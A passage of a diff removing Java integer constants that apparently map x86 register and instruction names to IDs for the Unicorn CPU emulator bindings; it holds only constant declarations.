= 121; - public static final int UC_X86_REG_XMM0 = 122; - public static final int UC_X86_REG_XMM1 = 123; - public static final int UC_X86_REG_XMM2 = 124; - public static final int UC_X86_REG_XMM3 = 125; - public static final int UC_X86_REG_XMM4 = 126; - public static final int UC_X86_REG_XMM5 = 127; - public static final int UC_X86_REG_XMM6 = 128; - public static final int UC_X86_REG_XMM7 = 129; - public static final int UC_X86_REG_XMM8 = 130; - public static final int UC_X86_REG_XMM9 = 131; - public static final int UC_X86_REG_XMM10 = 132; - public static final int UC_X86_REG_XMM11 = 133; - public static final int UC_X86_REG_XMM12 = 134; - public static final int UC_X86_REG_XMM13 = 135; - public static final int UC_X86_REG_XMM14 = 136; - public static final int UC_X86_REG_XMM15 = 137; - public static final int UC_X86_REG_XMM16 = 138; - public static final int UC_X86_REG_XMM17 = 139; - public static final int UC_X86_REG_XMM18 = 140; - public static final int UC_X86_REG_XMM19 = 141; - public static final int UC_X86_REG_XMM20 = 142; - public static final int UC_X86_REG_XMM21 = 143; - public static final int UC_X86_REG_XMM22 = 144; - public static final int UC_X86_REG_XMM23 = 145; - public static final int UC_X86_REG_XMM24 = 146; - public static final int UC_X86_REG_XMM25 = 147; - public static final int UC_X86_REG_XMM26 = 148; - public static final int UC_X86_REG_XMM27 = 149; - public static final int UC_X86_REG_XMM28 = 150; - public static final int UC_X86_REG_XMM29 = 151; - public static final int UC_X86_REG_XMM30 = 152; - public static final int UC_X86_REG_XMM31 = 153; - public static final int UC_X86_REG_YMM0 = 154; - public static final int UC_X86_REG_YMM1 = 155; - public static final int UC_X86_REG_YMM2 = 156; - public static final int UC_X86_REG_YMM3 = 157; - public static final int UC_X86_REG_YMM4 = 158; - public static final int UC_X86_REG_YMM5 = 159; - public static final int UC_X86_REG_YMM6 = 160; - public static final int UC_X86_REG_YMM7 = 161; - public static final int UC_X86_REG_YMM8 = 162; - public static final int UC_X86_REG_YMM9 = 163; - public static final int UC_X86_REG_YMM10 = 164; - public static final int UC_X86_REG_YMM11 = 165; - public static final int UC_X86_REG_YMM12 = 166; - public static final int UC_X86_REG_YMM13 = 167; - public static final int UC_X86_REG_YMM14 = 168; - public static final int UC_X86_REG_YMM15 = 169; - public static final int UC_X86_REG_YMM16 = 170; - public static final int UC_X86_REG_YMM17 = 171; - public static final int UC_X86_REG_YMM18 = 172; - public static final int UC_X86_REG_YMM19 = 173; - public static final int UC_X86_REG_YMM20 = 174; - public static final int UC_X86_REG_YMM21 = 175; - public static final int UC_X86_REG_YMM22 = 176; - public static final int UC_X86_REG_YMM23 = 177; - public static final int UC_X86_REG_YMM24 = 178; - public static final int UC_X86_REG_YMM25 = 179; - public static final int UC_X86_REG_YMM26 = 180; - public static final int UC_X86_REG_YMM27 = 181; - public static final int UC_X86_REG_YMM28 = 182; - public static final int UC_X86_REG_YMM29 = 183; - public static final int UC_X86_REG_YMM30 = 184; - public static final int UC_X86_REG_YMM31 = 185; - public static final int UC_X86_REG_ZMM0 = 186; - public static final int UC_X86_REG_ZMM1 = 187; - public static final int UC_X86_REG_ZMM2 = 188; - public static final int UC_X86_REG_ZMM3 = 189; - public static final int UC_X86_REG_ZMM4 = 190; - public static final int UC_X86_REG_ZMM5 = 191; - public static final int UC_X86_REG_ZMM6 = 192; - public static final int UC_X86_REG_ZMM7 = 193; - public static final int UC_X86_REG_ZMM8 = 194; - public static final int UC_X86_REG_ZMM9 = 195; - public static final int UC_X86_REG_ZMM10 = 196; - public static final int UC_X86_REG_ZMM11 = 197; - public static final int UC_X86_REG_ZMM12 = 198; - public static final int UC_X86_REG_ZMM13 = 199; - public static final int UC_X86_REG_ZMM14 = 200; - public static final int UC_X86_REG_ZMM15 = 201; - public static final int UC_X86_REG_ZMM16 = 202; - public static final int UC_X86_REG_ZMM17 = 203; - public static final int UC_X86_REG_ZMM18 = 204; - public static final int UC_X86_REG_ZMM19 = 205; - public static final int UC_X86_REG_ZMM20 = 206; - public static final int UC_X86_REG_ZMM21 = 207; - public static final int UC_X86_REG_ZMM22 = 208; - public static final int UC_X86_REG_ZMM23 = 209; - public static final int UC_X86_REG_ZMM24 = 210; - public static final int UC_X86_REG_ZMM25 = 211; - public static final int UC_X86_REG_ZMM26 = 212; - public static final int UC_X86_REG_ZMM27 = 213; - public static final int UC_X86_REG_ZMM28 = 214; - public static final int UC_X86_REG_ZMM29 = 215; - public static final int UC_X86_REG_ZMM30 = 216; - public static final int UC_X86_REG_ZMM31 = 217; - public static final int UC_X86_REG_R8B = 218; - public static final int UC_X86_REG_R9B = 219; - public static final int UC_X86_REG_R10B = 220; - public static final int UC_X86_REG_R11B = 221; - public static final int UC_X86_REG_R12B = 222; - public static final int UC_X86_REG_R13B = 223; - public static final int UC_X86_REG_R14B = 224; - public static final int UC_X86_REG_R15B = 225; - public static final int UC_X86_REG_R8D = 226; - public static final int UC_X86_REG_R9D = 227; - public static final int UC_X86_REG_R10D = 228; - public static final int UC_X86_REG_R11D = 229; - public static final int UC_X86_REG_R12D = 230; - public static final int UC_X86_REG_R13D = 231; - public static final int UC_X86_REG_R14D = 232; - public static final int UC_X86_REG_R15D = 233; - public static final int UC_X86_REG_R8W = 234; - public static final int UC_X86_REG_R9W = 235; - public static final int UC_X86_REG_R10W = 236; - public static final int UC_X86_REG_R11W = 237; - public static final int UC_X86_REG_R12W = 238; - public static final int UC_X86_REG_R13W = 239; - public static final int UC_X86_REG_R14W = 240; - public static final int UC_X86_REG_R15W = 241; - public static final int UC_X86_REG_IDTR = 242; - public static final int UC_X86_REG_GDTR = 243; - public static final int UC_X86_REG_LDTR = 244; - public static final int UC_X86_REG_TR = 245; - public static final int UC_X86_REG_FPCW = 246; - public static final int UC_X86_REG_FPTAG = 247; - public static final int UC_X86_REG_MSR = 248; - public static final int UC_X86_REG_MXCSR = 249; - public static final int UC_X86_REG_FS_BASE = 250; - public static final int UC_X86_REG_GS_BASE = 251; - public static final int UC_X86_REG_FLAGS = 252; - public static final int UC_X86_REG_RFLAGS = 253; - public static final int UC_X86_REG_FIP = 254; - public static final int UC_X86_REG_FCS = 255; - public static final int UC_X86_REG_FDP = 256; - public static final int UC_X86_REG_FDS = 257; - public static final int UC_X86_REG_FOP = 258; - public static final int UC_X86_REG_ENDING = 259; - -// X86 instructions - - public static final int UC_X86_INS_INVALID = 0; - public static final int UC_X86_INS_AAA = 1; - public static final int UC_X86_INS_AAD = 2; - public static final int UC_X86_INS_AAM = 3; - public static final int UC_X86_INS_AAS = 4; - public static final int UC_X86_INS_FABS = 5; - public static final int UC_X86_INS_ADC = 6; - public static final int UC_X86_INS_ADCX = 7; - public static final int UC_X86_INS_ADD = 8; - public static final int UC_X86_INS_ADDPD = 9; - public static final int UC_X86_INS_ADDPS = 10; - public static final int UC_X86_INS_ADDSD = 11; - public static final int UC_X86_INS_ADDSS = 12; - public static final int UC_X86_INS_ADDSUBPD = 13; - public static final int UC_X86_INS_ADDSUBPS = 14; - public static final int UC_X86_INS_FADD = 15; - public static final int UC_X86_INS_FIADD = 16; - public static final int UC_X86_INS_FADDP = 17; - public static final int UC_X86_INS_ADOX = 18; - public static final int UC_X86_INS_AESDECLAST = 19; - public static final int UC_X86_INS_AESDEC = 20; - public static final int UC_X86_INS_AESENCLAST = 21; - public static final int UC_X86_INS_AESENC = 22; - public static final int UC_X86_INS_AESIMC = 23; - public static final int UC_X86_INS_AESKEYGENASSIST = 24; - public static final int UC_X86_INS_AND = 25; - public static final int UC_X86_INS_ANDN = 26; - public static final int UC_X86_INS_ANDNPD = 27; - public static final int UC_X86_INS_ANDNPS = 28; - public static final int UC_X86_INS_ANDPD = 29; - public static final int UC_X86_INS_ANDPS = 30; - public static final int UC_X86_INS_ARPL = 31; - public static final int UC_X86_INS_BEXTR = 32; - public static final int UC_X86_INS_BLCFILL = 33; - public static final int UC_X86_INS_BLCI = 34; - public static final int UC_X86_INS_BLCIC = 35; - public static final int UC_X86_INS_BLCMSK = 36; - public static final int UC_X86_INS_BLCS = 37; - public static final int UC_X86_INS_BLENDPD = 38; - public static final int UC_X86_INS_BLENDPS = 39; - public static final int UC_X86_INS_BLENDVPD = 40; - public static final int UC_X86_INS_BLENDVPS = 41; - public static final int UC_X86_INS_BLSFILL = 42; - public static final int UC_X86_INS_BLSI = 43; - public static final int UC_X86_INS_BLSIC = 44; - public static final int UC_X86_INS_BLSMSK = 45; - public static final int UC_X86_INS_BLSR = 46; - public static final int UC_X86_INS_BOUND = 47; - public static final int UC_X86_INS_BSF = 48; - public static final int UC_X86_INS_BSR = 49; - public static final int UC_X86_INS_BSWAP = 50; - public static final int UC_X86_INS_BT = 51; - public static final int UC_X86_INS_BTC = 52; - public static final int UC_X86_INS_BTR = 53; - public static final int UC_X86_INS_BTS = 54; - public static final int UC_X86_INS_BZHI = 55; - public static final int UC_X86_INS_CALL = 56; - public static final int UC_X86_INS_CBW = 57; - public static final int UC_X86_INS_CDQ = 58; - public static final int UC_X86_INS_CDQE = 59; - public static final int UC_X86_INS_FCHS = 60; - public static final int UC_X86_INS_CLAC = 61; - public static final int UC_X86_INS_CLC = 62; - public static final int UC_X86_INS_CLD = 63; - public static final int UC_X86_INS_CLFLUSH = 64; - public static final int UC_X86_INS_CLFLUSHOPT = 65; - public static final int UC_X86_INS_CLGI = 66; - public static final int UC_X86_INS_CLI = 67; - public static final int UC_X86_INS_CLTS = 68; - public static final int UC_X86_INS_CLWB = 69; - public static final int UC_X86_INS_CMC = 70; - public static final int UC_X86_INS_CMOVA = 71; - public static final int UC_X86_INS_CMOVAE = 72; - public static final int UC_X86_INS_CMOVB = 73; - public static final int UC_X86_INS_CMOVBE = 74; - public static final int UC_X86_INS_FCMOVBE = 75; - public static final int UC_X86_INS_FCMOVB = 76; - public static final int UC_X86_INS_CMOVE = 77; - public static final int UC_X86_INS_FCMOVE = 78; - public static final int UC_X86_INS_CMOVG = 79; - public static final int UC_X86_INS_CMOVGE = 80; - public static final int UC_X86_INS_CMOVL = 81; - public static final int UC_X86_INS_CMOVLE = 82; - public static final int UC_X86_INS_FCMOVNBE = 83; - public static final int UC_X86_INS_FCMOVNB = 84; - public static final int UC_X86_INS_CMOVNE = 85; - public static final int UC_X86_INS_FCMOVNE = 86; - public static final int UC_X86_INS_CMOVNO = 87; - public static final int UC_X86_INS_CMOVNP = 88; - public static final int UC_X86_INS_FCMOVNU = 89; - public static final int UC_X86_INS_CMOVNS = 90; - public static final int UC_X86_INS_CMOVO = 91; - public static final int UC_X86_INS_CMOVP = 92; - public static final int UC_X86_INS_FCMOVU = 93; - public static final int UC_X86_INS_CMOVS = 94; - public static final int UC_X86_INS_CMP = 95; - public static final int UC_X86_INS_CMPPD = 96; - public static final int UC_X86_INS_CMPPS = 97; - public static final int UC_X86_INS_CMPSB = 98; - public static final int UC_X86_INS_CMPSD = 99; - public static final int UC_X86_INS_CMPSQ = 100; - public static final int UC_X86_INS_CMPSS = 101; - public static final int UC_X86_INS_CMPSW = 102; - public static final int UC_X86_INS_CMPXCHG16B = 103; - public static final int UC_X86_INS_CMPXCHG = 104; - public static final int UC_X86_INS_CMPXCHG8B = 105; - public static final int UC_X86_INS_COMISD = 106; - public static final int UC_X86_INS_COMISS = 107; - public static final int UC_X86_INS_FCOMP = 108; - public static final int UC_X86_INS_FCOMPI = 109; - public static final int UC_X86_INS_FCOMI = 110; - public static final int UC_X86_INS_FCOM = 111; - public static final int UC_X86_INS_FCOS = 112; - public static final int UC_X86_INS_CPUID = 113; - public static final int UC_X86_INS_CQO = 114; - public static final int UC_X86_INS_CRC32 = 115; - public static final int UC_X86_INS_CVTDQ2PD = 116; - public static final int UC_X86_INS_CVTDQ2PS = 117; - public static final int UC_X86_INS_CVTPD2DQ = 118; - public static final int UC_X86_INS_CVTPD2PS = 119; - public static final int UC_X86_INS_CVTPS2DQ = 120; - public static final int UC_X86_INS_CVTPS2PD = 121; - public static final int UC_X86_INS_CVTSD2SI = 122; - public static final int UC_X86_INS_CVTSD2SS = 123; - public static final int UC_X86_INS_CVTSI2SD = 124; - public static final int UC_X86_INS_CVTSI2SS = 125; - public static final int UC_X86_INS_CVTSS2SD = 126; - public static final int UC_X86_INS_CVTSS2SI = 127; - public static final int UC_X86_INS_CVTTPD2DQ = 128; - public static final int UC_X86_INS_CVTTPS2DQ = 129; - public static final int UC_X86_INS_CVTTSD2SI = 130; - public static final int UC_X86_INS_CVTTSS2SI = 131; - public static final int UC_X86_INS_CWD = 132; - public static final int UC_X86_INS_CWDE = 133; - public static final int UC_X86_INS_DAA = 134; - public static final int UC_X86_INS_DAS = 135; - public static final int UC_X86_INS_DATA16 = 136; - public static final int UC_X86_INS_DEC = 137; - public static final int UC_X86_INS_DIV = 138; - public static final int UC_X86_INS_DIVPD = 139; - public static final int UC_X86_INS_DIVPS = 140; - public static final int UC_X86_INS_FDIVR = 141; - public static final int UC_X86_INS_FIDIVR = 142; - public static final int UC_X86_INS_FDIVRP = 143; - public static final int UC_X86_INS_DIVSD = 144; - public static final int UC_X86_INS_DIVSS = 145; - public static final int UC_X86_INS_FDIV = 146; - public static final int UC_X86_INS_FIDIV = 147; - public static final int UC_X86_INS_FDIVP = 148; - public static final int UC_X86_INS_DPPD = 149; - public static final int UC_X86_INS_DPPS = 150; - public static final int UC_X86_INS_RET = 151; - public static final int UC_X86_INS_ENCLS = 152; - public static final int UC_X86_INS_ENCLU = 153; - public static final int UC_X86_INS_ENTER = 154; - public static final int UC_X86_INS_EXTRACTPS = 155; - public static final int UC_X86_INS_EXTRQ = 156; - public static final int UC_X86_INS_F2XM1 = 157; - public static final int UC_X86_INS_LCALL = 158; - public static final int UC_X86_INS_LJMP = 159; - public static final int UC_X86_INS_FBLD = 160; - public static final int UC_X86_INS_FBSTP = 161; - public static final int UC_X86_INS_FCOMPP = 162; - public static final int UC_X86_INS_FDECSTP = 163; - public static final int UC_X86_INS_FEMMS = 164; - public static final int UC_X86_INS_FFREE = 165; - public static final int UC_X86_INS_FICOM = 166; - public static final int UC_X86_INS_FICOMP = 167; - public static final int UC_X86_INS_FINCSTP = 168; - public static final int UC_X86_INS_FLDCW = 169; - public static final int UC_X86_INS_FLDENV = 170; - public static final int UC_X86_INS_FLDL2E = 171; - public static final int UC_X86_INS_FLDL2T = 172; - public static final int UC_X86_INS_FLDLG2 = 173; - public static final int UC_X86_INS_FLDLN2 = 174; - public static final int UC_X86_INS_FLDPI = 175; - public static final int UC_X86_INS_FNCLEX = 176; - public static final int UC_X86_INS_FNINIT = 177; - public static final int UC_X86_INS_FNOP = 178; - public static final int UC_X86_INS_FNSTCW = 179; - public static final int UC_X86_INS_FNSTSW = 180; - public static final int UC_X86_INS_FPATAN = 181; - public static final int UC_X86_INS_FPREM = 182; - public static final int UC_X86_INS_FPREM1 = 183; - public static final int UC_X86_INS_FPTAN = 184; - public static final int UC_X86_INS_FFREEP = 185; - public static final int UC_X86_INS_FRNDINT = 186; - public static final int UC_X86_INS_FRSTOR = 187; - public static final int UC_X86_INS_FNSAVE = 188; - public static final int UC_X86_INS_FSCALE = 189; - public static final int UC_X86_INS_FSETPM = 190; - public static final int UC_X86_INS_FSINCOS = 191; - public static final int UC_X86_INS_FNSTENV = 192; - public static final int UC_X86_INS_FXAM = 193; - public static final int UC_X86_INS_FXRSTOR = 194; - public static final int UC_X86_INS_FXRSTOR64 = 195; - public static final int UC_X86_INS_FXSAVE = 196; - public static final int UC_X86_INS_FXSAVE64 = 197; - public static final int UC_X86_INS_FXTRACT = 198; - public static final int UC_X86_INS_FYL2X = 199; - public static final int UC_X86_INS_FYL2XP1 = 200; - public static final int UC_X86_INS_MOVAPD = 201; - public static final int UC_X86_INS_MOVAPS = 202; - public static final int UC_X86_INS_ORPD = 203; - public static final int UC_X86_INS_ORPS = 204; - public static final int UC_X86_INS_VMOVAPD = 205; - public static final int UC_X86_INS_VMOVAPS = 206; - public static final int UC_X86_INS_XORPD = 207; - public static final int UC_X86_INS_XORPS = 208; - public static final int UC_X86_INS_GETSEC = 209; - public static final int UC_X86_INS_HADDPD = 210; - public static final int UC_X86_INS_HADDPS = 211; - public static final int UC_X86_INS_HLT = 212; - public static final int UC_X86_INS_HSUBPD = 213; - public static final int UC_X86_INS_HSUBPS = 214; - public static final int UC_X86_INS_IDIV = 215; - public static final int UC_X86_INS_FILD = 216; - public static final int UC_X86_INS_IMUL = 217; - public static final int UC_X86_INS_IN = 218; - public static final int UC_X86_INS_INC = 219; - public static final int UC_X86_INS_INSB = 220; - public static final int UC_X86_INS_INSERTPS = 221; - public static final int UC_X86_INS_INSERTQ = 222; - public static final int UC_X86_INS_INSD = 223; - public static final int UC_X86_INS_INSW = 224; - public static final int UC_X86_INS_INT = 225; - public static final int UC_X86_INS_INT1 = 226; - public static final int UC_X86_INS_INT3 = 227; - public static final int UC_X86_INS_INTO = 228; - public static final int UC_X86_INS_INVD = 229; - public static final int UC_X86_INS_INVEPT = 230; - public static final int UC_X86_INS_INVLPG = 231; - public static final int UC_X86_INS_INVLPGA = 232; - public static final int UC_X86_INS_INVPCID = 233; - public static final int UC_X86_INS_INVVPID = 234; - public static final int UC_X86_INS_IRET = 235; - public static final int UC_X86_INS_IRETD = 236; - public static final int UC_X86_INS_IRETQ = 237; - public static final int UC_X86_INS_FISTTP = 238; - public static final int UC_X86_INS_FIST = 239; - public static final int UC_X86_INS_FISTP = 240; - public static final int UC_X86_INS_UCOMISD = 241; - public static final int UC_X86_INS_UCOMISS = 242; - public static final int UC_X86_INS_VCOMISD = 243; - public static final int UC_X86_INS_VCOMISS = 244; - public static final int UC_X86_INS_VCVTSD2SS = 245; - public static final int UC_X86_INS_VCVTSI2SD = 246; - public static final int UC_X86_INS_VCVTSI2SS = 247; - public static final int UC_X86_INS_VCVTSS2SD = 248; - public static final int UC_X86_INS_VCVTTSD2SI = 249; - public static final int UC_X86_INS_VCVTTSD2USI = 250; - public static final int UC_X86_INS_VCVTTSS2SI = 251; - public static final int UC_X86_INS_VCVTTSS2USI = 252; - public static final int UC_X86_INS_VCVTUSI2SD = 253; - public static final int UC_X86_INS_VCVTUSI2SS = 254; - public static final int UC_X86_INS_VUCOMISD = 255; - public static final int UC_X86_INS_VUCOMISS = 256; - public static final int UC_X86_INS_JAE = 257; - public static final int UC_X86_INS_JA = 258; - public static final int UC_X86_INS_JBE = 259; - public static final int UC_X86_INS_JB = 260; - public static final int UC_X86_INS_JCXZ = 261; - public static final int UC_X86_INS_JECXZ = 262; - public static final int UC_X86_INS_JE = 263; - public static final int UC_X86_INS_JGE = 264; - public static final int UC_X86_INS_JG = 265; - public static final int UC_X86_INS_JLE = 266; - public static final int UC_X86_INS_JL = 267; - public static final int UC_X86_INS_JMP = 268; - public static final int UC_X86_INS_JNE = 269; - public static final int UC_X86_INS_JNO = 270; - public static final int UC_X86_INS_JNP = 271; - public static final int UC_X86_INS_JNS = 272; - public static final int UC_X86_INS_JO = 273; - public static final int UC_X86_INS_JP = 274; - public static final int UC_X86_INS_JRCXZ = 275; - public static final int UC_X86_INS_JS = 276; - public static final int UC_X86_INS_KANDB = 277; - public static final int UC_X86_INS_KANDD = 278; - public static final int UC_X86_INS_KANDNB = 279; - public static final int UC_X86_INS_KANDND = 280; - public static final int UC_X86_INS_KANDNQ = 281; - public static final int UC_X86_INS_KANDNW = 282; - public static final int UC_X86_INS_KANDQ = 283; - public static final int UC_X86_INS_KANDW = 284; - public static final int UC_X86_INS_KMOVB = 285; - public static final int UC_X86_INS_KMOVD = 286; - public static final int UC_X86_INS_KMOVQ = 287; - public static final int UC_X86_INS_KMOVW = 288; - public static final int UC_X86_INS_KNOTB = 289; - public static final int UC_X86_INS_KNOTD = 290; - public static final int UC_X86_INS_KNOTQ = 291; - public static final int UC_X86_INS_KNOTW = 292; - public static final int UC_X86_INS_KORB = 293; - public static final int UC_X86_INS_KORD = 294; - public static final int UC_X86_INS_KORQ = 295; - public static final int UC_X86_INS_KORTESTB = 296; - public static final int UC_X86_INS_KORTESTD = 297; - public static final int UC_X86_INS_KORTESTQ = 298; - public static final int UC_X86_INS_KORTESTW = 299; - public static final int UC_X86_INS_KORW = 300; - public static final int UC_X86_INS_KSHIFTLB = 301; - public static final int UC_X86_INS_KSHIFTLD = 302; - public static final int UC_X86_INS_KSHIFTLQ = 303; - public static final int UC_X86_INS_KSHIFTLW = 304; - public static final int UC_X86_INS_KSHIFTRB = 305; - public static final int UC_X86_INS_KSHIFTRD = 306; - public static final int UC_X86_INS_KSHIFTRQ = 307; - public static final int UC_X86_INS_KSHIFTRW = 308; - public static final int UC_X86_INS_KUNPCKBW = 309; - public static final int UC_X86_INS_KXNORB = 310; - public static final int UC_X86_INS_KXNORD = 311; - public static final int UC_X86_INS_KXNORQ = 312; - public static final int UC_X86_INS_KXNORW = 313; - public static final int UC_X86_INS_KXORB = 314; - public static final int UC_X86_INS_KXORD = 315; - public static final int UC_X86_INS_KXORQ = 316; - public static final int UC_X86_INS_KXORW = 317; - public static final int UC_X86_INS_LAHF = 318; - public static final int UC_X86_INS_LAR = 319; - public static final int UC_X86_INS_LDDQU = 320; - public static final int UC_X86_INS_LDMXCSR = 321; - public static final int UC_X86_INS_LDS = 322; - public static final int UC_X86_INS_FLDZ = 323; - public static final int UC_X86_INS_FLD1 = 324; - public static final int UC_X86_INS_FLD = 325; - public static final int UC_X86_INS_LEA = 326; - public static final int UC_X86_INS_LEAVE = 327; - public static final int UC_X86_INS_LES = 328; - public static final int UC_X86_INS_LFENCE = 329; - public static final int UC_X86_INS_LFS = 330; - public static final int UC_X86_INS_LGDT = 331; - public static final int UC_X86_INS_LGS = 332; - public static final int UC_X86_INS_LIDT = 333; - public static final int UC_X86_INS_LLDT = 334; - public static final int UC_X86_INS_LMSW = 335; - public static final int UC_X86_INS_OR = 336; - public static final int UC_X86_INS_SUB = 337; - public static final int UC_X86_INS_XOR = 338; - public static final int UC_X86_INS_LODSB = 339; - public static final int UC_X86_INS_LODSD = 340; - public static final int UC_X86_INS_LODSQ = 341; - public static final int UC_X86_INS_LODSW = 342; - public static final int UC_X86_INS_LOOP = 343; - public static final int UC_X86_INS_LOOPE = 344; - public static final int UC_X86_INS_LOOPNE = 345; - public static final int UC_X86_INS_RETF = 346; - public static final int UC_X86_INS_RETFQ = 347; - public static final int UC_X86_INS_LSL = 348; - public static final int UC_X86_INS_LSS = 349; - public static final int UC_X86_INS_LTR = 350; - public static final int UC_X86_INS_XADD = 351; - public static final int UC_X86_INS_LZCNT = 352; - public static final int UC_X86_INS_MASKMOVDQU = 353; - public static final int UC_X86_INS_MAXPD = 354; - public static final int UC_X86_INS_MAXPS = 355; - public static final int UC_X86_INS_MAXSD = 356; - public static final int UC_X86_INS_MAXSS = 357; - public static final int UC_X86_INS_MFENCE = 358; - public static final int UC_X86_INS_MINPD = 359; - public static final int UC_X86_INS_MINPS = 360; - public static final int UC_X86_INS_MINSD = 361; - public static final int UC_X86_INS_MINSS = 362; - public static final int UC_X86_INS_CVTPD2PI = 363; - public static final int UC_X86_INS_CVTPI2PD = 364; - public static final int UC_X86_INS_CVTPI2PS = 365; - public static final int UC_X86_INS_CVTPS2PI = 366; - public static final int UC_X86_INS_CVTTPD2PI = 367; - public static final int UC_X86_INS_CVTTPS2PI = 368; - public static final int UC_X86_INS_EMMS = 369; - public static final int UC_X86_INS_MASKMOVQ = 370; - public static final int UC_X86_INS_MOVD = 371; - public static final int UC_X86_INS_MOVDQ2Q = 372; - public static final int UC_X86_INS_MOVNTQ = 373; - public static final int UC_X86_INS_MOVQ2DQ = 374; - public static final int UC_X86_INS_MOVQ = 375; - public static final int UC_X86_INS_PABSB = 376; - public static final int UC_X86_INS_PABSD = 377; - public static final int UC_X86_INS_PABSW = 378; - public static final int UC_X86_INS_PACKSSDW = 379; - public static final int UC_X86_INS_PACKSSWB = 380; - public static final int UC_X86_INS_PACKUSWB = 381; - public static final int UC_X86_INS_PADDB = 382; - public static final int UC_X86_INS_PADDD = 383; - public static final int UC_X86_INS_PADDQ = 384; - public static final int UC_X86_INS_PADDSB = 385; - public static final int UC_X86_INS_PADDSW = 386; - public static final int UC_X86_INS_PADDUSB = 387; - public static final int UC_X86_INS_PADDUSW = 388; - public static final int UC_X86_INS_PADDW = 389; - public static final int UC_X86_INS_PALIGNR = 390; - public static final int UC_X86_INS_PANDN = 391; - public static final int UC_X86_INS_PAND = 392; - public static final int UC_X86_INS_PAVGB = 393; - public static final int UC_X86_INS_PAVGW = 394; - public static final int UC_X86_INS_PCMPEQB = 395; - public static final int UC_X86_INS_PCMPEQD = 396; - public static final int UC_X86_INS_PCMPEQW = 397; - public static final int UC_X86_INS_PCMPGTB = 398; - public static final int UC_X86_INS_PCMPGTD = 399; - public static final int UC_X86_INS_PCMPGTW = 400; - public static final int UC_X86_INS_PEXTRW = 401; - public static final int UC_X86_INS_PHADDSW = 402; - public static final int UC_X86_INS_PHADDW = 403; - public static final int UC_X86_INS_PHADDD = 404; - public static final int UC_X86_INS_PHSUBD = 405; - public static final int UC_X86_INS_PHSUBSW = 406; - public static final int UC_X86_INS_PHSUBW = 407; - public static final int UC_X86_INS_PINSRW = 408; - public static final int UC_X86_INS_PMADDUBSW = 409; - public static final int UC_X86_INS_PMADDWD = 410; - public static final int UC_X86_INS_PMAXSW = 411; - public static final int UC_X86_INS_PMAXUB = 412; - public static final int UC_X86_INS_PMINSW = 413; - public static final int UC_X86_INS_PMINUB = 414; - public static final int UC_X86_INS_PMOVMSKB = 415; - public static final int UC_X86_INS_PMULHRSW = 416; - public static final int UC_X86_INS_PMULHUW = 417; - public static final int UC_X86_INS_PMULHW = 418; - public static final int UC_X86_INS_PMULLW = 419; - public static final int UC_X86_INS_PMULUDQ = 420; - public static final int UC_X86_INS_POR = 421; - public static final int UC_X86_INS_PSADBW = 422; - public static final int UC_X86_INS_PSHUFB = 423; - public static final int UC_X86_INS_PSHUFW = 424; - public static final int UC_X86_INS_PSIGNB = 425; - public static final int UC_X86_INS_PSIGND = 426; - public static final int UC_X86_INS_PSIGNW = 427; - public static final int UC_X86_INS_PSLLD = 428; - public static final int UC_X86_INS_PSLLQ = 429; - public static final int UC_X86_INS_PSLLW = 430; - public static final int UC_X86_INS_PSRAD = 431; - public static final int UC_X86_INS_PSRAW = 432; - public static final int UC_X86_INS_PSRLD = 433; - public static final int UC_X86_INS_PSRLQ = 434; - public static final int UC_X86_INS_PSRLW = 435; - public static final int UC_X86_INS_PSUBB = 436; - public static final int UC_X86_INS_PSUBD = 437; - public static final int UC_X86_INS_PSUBQ = 438; - public static final int UC_X86_INS_PSUBSB = 439; - public static final int UC_X86_INS_PSUBSW = 440; - public static final int UC_X86_INS_PSUBUSB = 441; - public static final int UC_X86_INS_PSUBUSW = 442; - public static final int UC_X86_INS_PSUBW = 443; - public static final int UC_X86_INS_PUNPCKHBW = 444; - public static final int UC_X86_INS_PUNPCKHDQ = 445; - public static final int UC_X86_INS_PUNPCKHWD = 446; - public static final int UC_X86_INS_PUNPCKLBW = 447; - public static final int UC_X86_INS_PUNPCKLDQ = 448; - public static final int UC_X86_INS_PUNPCKLWD = 449; - public static final int UC_X86_INS_PXOR = 450; - public static final int UC_X86_INS_MONITOR = 451; - public static final int UC_X86_INS_MONTMUL = 452; - public static final int UC_X86_INS_MOV = 453; - public static final int UC_X86_INS_MOVABS = 454; - public static final int UC_X86_INS_MOVBE = 455; - public static final int UC_X86_INS_MOVDDUP = 456; - public static final int UC_X86_INS_MOVDQA = 457; - public static final int UC_X86_INS_MOVDQU = 458; - public static final int UC_X86_INS_MOVHLPS = 459; - public static final int UC_X86_INS_MOVHPD = 460; - public static final int UC_X86_INS_MOVHPS = 461; - public static final int UC_X86_INS_MOVLHPS = 462; - public static final int UC_X86_INS_MOVLPD = 463; - public static final int UC_X86_INS_MOVLPS = 464; - public static final int UC_X86_INS_MOVMSKPD = 465; - public static final int UC_X86_INS_MOVMSKPS = 466; - public static final int UC_X86_INS_MOVNTDQA = 467; - public static final int UC_X86_INS_MOVNTDQ = 468; - public static final int UC_X86_INS_MOVNTI = 469; - public static final int UC_X86_INS_MOVNTPD = 470; - public static final int UC_X86_INS_MOVNTPS = 471; - public static final int UC_X86_INS_MOVNTSD = 472; - public static final int UC_X86_INS_MOVNTSS = 473; - public static final int UC_X86_INS_MOVSB = 474; - public static final int UC_X86_INS_MOVSD = 475; - public static final int UC_X86_INS_MOVSHDUP = 476; - public static final int UC_X86_INS_MOVSLDUP = 477; - public static final int UC_X86_INS_MOVSQ = 478; - public static final int UC_X86_INS_MOVSS = 479; - public static final int UC_X86_INS_MOVSW = 480; - public static final int UC_X86_INS_MOVSX = 481; - public static final int UC_X86_INS_MOVSXD = 482; - public static final int UC_X86_INS_MOVUPD = 483; - public static final int UC_X86_INS_MOVUPS = 484; - public static final int UC_X86_INS_MOVZX = 485; - public static final int UC_X86_INS_MPSADBW = 486; - public static final int UC_X86_INS_MUL = 487; - public static final int UC_X86_INS_MULPD = 488; - public static final int UC_X86_INS_MULPS = 489; - public static final int UC_X86_INS_MULSD = 490; - public static final int UC_X86_INS_MULSS = 491; - public static final int UC_X86_INS_MULX = 492; - public static final int UC_X86_INS_FMUL = 493; - public static final int UC_X86_INS_FIMUL = 494; - public static final int UC_X86_INS_FMULP = 495; - public static final int UC_X86_INS_MWAIT = 496; - public static final int UC_X86_INS_NEG = 497; - public static final int UC_X86_INS_NOP = 498; - public static final int UC_X86_INS_NOT = 499; - public static final int UC_X86_INS_OUT = 500; - public static final int UC_X86_INS_OUTSB = 501; - public static final int UC_X86_INS_OUTSD = 502; - public static final int UC_X86_INS_OUTSW = 503; - public static final int UC_X86_INS_PACKUSDW = 504; - public static final int UC_X86_INS_PAUSE = 505; - public static final int UC_X86_INS_PAVGUSB = 506; - public static final int 